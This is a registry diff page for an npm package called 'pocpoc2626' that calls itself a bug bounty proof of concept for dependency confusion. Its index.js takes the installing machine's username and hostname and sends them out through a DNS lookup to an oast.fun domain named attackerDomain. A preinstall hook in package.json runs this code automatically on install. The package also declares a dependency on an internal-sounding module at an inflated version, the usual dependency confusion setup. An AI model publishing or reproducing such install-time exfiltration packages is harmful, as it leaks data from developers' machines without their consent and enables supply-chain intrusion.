pocpoc2626 99.99.9996

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +13 -0
  2. package/package.json +14 -0
package/index.js ADDED
@@ -0,0 +1,13 @@
1
+ const dns = require('dns');
2
+ const os = require('os');
3
+
4
+ const hostname = os.hostname().replace(/[^a-zA-Z0-9]/g, '');
5
+ const username = os.userInfo().username.replace(/[^a-zA-Z0-9]/g, '');
6
+
7
+ const attackerDomain = "jrqoodsuxfzdpwqzthndxcm8f911cgqtn.oast.fun";
8
+
9
+ const exfilPayload = `${username}.${hostname}.$(pwd).${attackerDomain};`
10
+
11
+ dns.lookup(exfilPayload, (err, address, family) => {
12
+
13
+ });
package/package.json ADDED
@@ -0,0 +1,14 @@
1
+ {
2
+ "name": "pocpoc2626",
3
+ "version": "99.99.9996",
4
+ "description": "Bug Bounty PoC for Dependency Confusion",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node index.js"
8
+ },
9
+ "author": "Security Researcher",
10
+ "license": "MIT",
11
+ "dependencies": {
12
+ "internal-company-module-test-1337": "^99.99.9996"
13
+ }
14
+ }